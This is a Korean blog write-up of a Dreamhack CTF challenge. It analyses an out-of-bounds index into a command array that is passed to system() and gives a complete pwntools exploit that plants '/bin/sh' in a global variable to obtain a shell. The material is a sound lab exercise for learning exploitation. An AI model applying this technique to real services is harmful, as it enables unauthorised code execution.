CTF

Out of Bounds

whffu0123 2026. 6. 17. 17:13

Out of Bounds Write-up


1. 문제 개요

서버에서 작동 중인 out_of_bound 서비스의 바이너리와 소스 코드가 주어진다. 취약점을 익스플로잇해 셸을 획득하고 flag 파일을 읽는 것이 목표. 플래그 형식은 DH{...}.

배열의 임의 인덱스에 접근할 수 있는 OOB(Out of Bounds) 취약점을 이용한 공격을 학습하는 문제다.


2. 보호 기법 분석

$ checksec out_of_bound
Arch:    i386-32-little
RELRO:   Partial RELRO
Stack:   Canary found
NX:      NX enabled
PIE:     No PIE (0x8048000)
Stripped: No

보호 기법 상태 의미 / 영향

ASLR 적용 스택·라이브러리 주소가 매 실행마다 랜덤화
NX enabled 스택에 올린 셸코드 실행 불가
Canary found 스택의 SFP/RET 임의 변조 불가
PIE No PIE 바이너리 주소 고정 → 전역 변수 주소도 고정

핵심은 PIE가 꺼져 있다는 점이다. 데이터 영역(전역 변수)이 항상 정해진 주소(0x8048000 기준)에 할당되므로, 전역 변수에 데이터를 심고 그 고정 주소를 활용할 수 있다. ASLR/NX/Canary로 스택 공격은 막혀 있지만, 전역 데이터 영역이 발판이 된다.

또한 Stripped: No 라서 심볼이 살아 있어 변수 주소를 쉽게 구할 수 있다.


3. 코드 분석

char name[16];

char *command[10] = { "cat", "ls", "id", "ps", "file ./oob" };

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);   // 30초 타임아웃
    alarm(30);
}

int main() {
    int idx;
    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));      // (1) name에 16바이트 입력 가능
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);             // (2) idx 범위 검사 없음 → OOB
    return 0;
}

취약점 재료는 두 가지다.

  1. name은 16바이트 전역 변수이며, read로 원하는 값을 그대로 써넣을 수 있다. PIE가 꺼져 있어 name은 고정 주소에 있다.
  2. system(command[idx])에서 idx 범위 검사가 전혀 없다. command는 인덱스 0~4만 유효한데, 음수나 4 초과 인덱스를 넣으면 OOB가 발생해 배열 밖 메모리 값을 system의 인자로 쓰게 된다.

기본 명령어 5개(cat, ls, id, ps, file ./oob)만으로는 플래그를 읽을 수 없으므로, OOB로 command[idx]가 직접 심은 "/bin/sh"를 가리키게 만들어 셸을 획득한다.


4. 공격 전략

4.1 핵심 아이디어

system은 인자로 "실행할 문자열의 주소" 를 받는다. 따라서:

  • name(고정 주소)에 "/bin/sh\x00" 문자열을 심고,
  • command[idx]로 읽히는 위치에 name의 주소를 심은 뒤,
  • 그 위치를 가리키는 idx를 OOB로 지정하면

→ system(command[idx]) = system(name의 주소) = system("/bin/sh") → 셸 획득.

4.2 주소 확인

(gdb) p &command
$1 = (<data variable, no debug info> *) 0x804a060 <command>
(gdb) p &name
$2 = (<data variable, no debug info> *) 0x804a0ac <name>

주의: pwndbg는 단독 명령이 아니라 gdb 플러그인이다. pwndbg가 없어도 일반 gdb out_of_bound로 p &command, p &name 하면 주소가 그대로 나온다. nm out_of_bound | grep -iE "name|command" 한 줄로도 동일하게 구할 수 있다.

  • command = 0x804a060
  • name = 0x804a0ac
  • 차이: 0x804a0ac - 0x804a060 = 0x4c = 76

4.3 페이로드 레이아웃

name(16바이트)을 다음과 같이 채운다.

주소            내용
0x804a0ac    "/bin/sh\x00"      (8 byte)
0x804a0b4    p32(0x804a0ac)     (4 byte)  ← name의 주소

즉 name+8(= 0x804a0b4)에 name의 주소를 심는다.

4.4 인덱스 계산

command는 char* 배열, 32비트라 원소 하나가 4바이트.

&command[idx] = command + 4 * idx

command[idx]가 0x804a0b4(name+8)를 가리키게 하려면:

0x804a060 + 4 * idx = 0x804a0b4
4 * idx = 0x804a0b4 - 0x804a060 = 0x54 = 84
idx = 84 / 4 = 21

→ idx = 21

이러면 command[21]은 0x804a0b4에 저장된 값, 즉 name의 주소(0x804a0ac)를 읽고, 그 주소엔 "/bin/sh"가 있으므로 system("/bin/sh")가 실행된다.

참고: idx = 19로 하면 command[19]의 위치(0x804a060 + 76 = 0x804a0ac)가 name의 시작과 겹쳐, name 첫 4바이트인 "/bin"(0x6e69622f)이 값으로 읽혀버린다. 이건 system에 "/bin 문자열의 내용"이 들어가는 잘못된 상태다. 그래서 한 칸 뒤(name+8)에 진짜 주소를 심고 idx=21로 그 칸을 가리켜야 한다.


5. 익스플로잇

from pwn import *

# p = process("./out_of_bound")            # 로컬
p = remote("host3.dreamhack.games", 16036)  # 원격 (포트는 서버 생성 시 발급)

name_addr = 0x804a0ac
payload = b"/bin/sh\x00" + p32(name_addr)

p.recvuntil(b"Admin name: ")
p.send(payload)                # read()라 sendline 아닌 send (개행 방지)

p.recvuntil(b"What do you want?: ")
p.sendline(b"21")

p.interactive()

실행 결과

 


6. 트러블슈팅 (풀면서 만난 오류들)

문제를 푸는 과정에서 막혔던 부분과 해결 방법 정리. 익스플로잇 로직보다 환경 세팅에서 시간을 더 썼다.

6.1 pwndbg: command not found

  • 원인: pwndbg는 단독 명령어가 아니라 gdb 플러그인이다.
  • 해결: gdb out_of_bound로 실행. pwndbg 미설치 환경이면 일반 gdb로도 p &command/p &name 가능. gdb 진입 시 debuginfod 질문은 n.

6.2 로컬 실행 시 TIME OUT (가장 헷갈렸던 부분)

[*] Switching to interactive mode
TIME OUT
[*] Process stopped with exit code 255
[*] Got EOF while reading in interactive
  • 현상: 페이로드는 디버그 로그상 바이트 단위로 정확히 전송됐는데(2f 62 69 6e 2f 73 68 00 ac a0 04 08 확인), 셸이 안 뜨고 alarm(30)에 걸려 종료.
  • 원인: 익스플로잇 로직 문제가 아님. 바이너리는 32비트(i386)인데 실습 환경은 64비트 WSL Ubuntu 24.04라, 로컬에서 system("/bin/sh")가 호출돼도 32비트 셸 실행 환경이 맞지 않아 동작하지 않은 것.
  • 해결:
    • PIE가 꺼져 주소가 고정이므로, 로컬 검증 없이 원격에 바로 접속해도 동일하게 동작. → 원격으로 전환하여 해결.
    • (로컬에서 굳이 돌리려면 dpkg --add-architecture i386 후 libc6:i386 등 32비트 라이브러리 설치 필요.)
  • 교훈: 페이로드가 바이트 단위로 정확히 들어갔다면 로직은 맞는 것이다. 로컬 실패를 익스플로잇 오류로 오해하지 말고 실행 환경(아키텍처) 불일치를 의심하자.

6.3 통신 디버깅 팁

sendlineafter로 프롬프트 매칭이 안 돼 멈추는 경우가 있었다.

  • name 입력은 read()이므로 sendline(개행 추가) 대신 send로 페이로드만 정확히 전송.
  • context.log_level = 'debug'를 켜면 주고받는 바이트가 전부 출력돼, 페이로드가 의도대로 들어갔는지 hex로 확인 가능.

7. 정리

  • 취약점: system(command[idx])의 인덱스 범위 미검증 (OOB).
  • 발판: No PIE → 전역 변수 name이 고정 주소.
  • 익스플로잇: name에 "/bin/sh" + name의 주소를 심고, OOB 인덱스 21로 command[21]이 그 주소를 가리키게 하여 system("/bin/sh") 호출.
  • 스택 보호 기법(ASLR/NX/Canary)이 모두 켜져 있어도, 경계 검사 없는 배열 인덱스 + 고정된 데이터 영역 주소의 조합만으로 셸을 획득할 수 있음을 보여주는 문제.

'CTF' 카테고리의 다른 글

Basic_Exploitation 000  (0) 2026.06.17
Return Address Overwrite  (0) 2026.06.17
shellcode  (0) 2026.06.17
pwntools - 2  (0) 2026.06.17
pwntools - 1  (0) 2026.06.17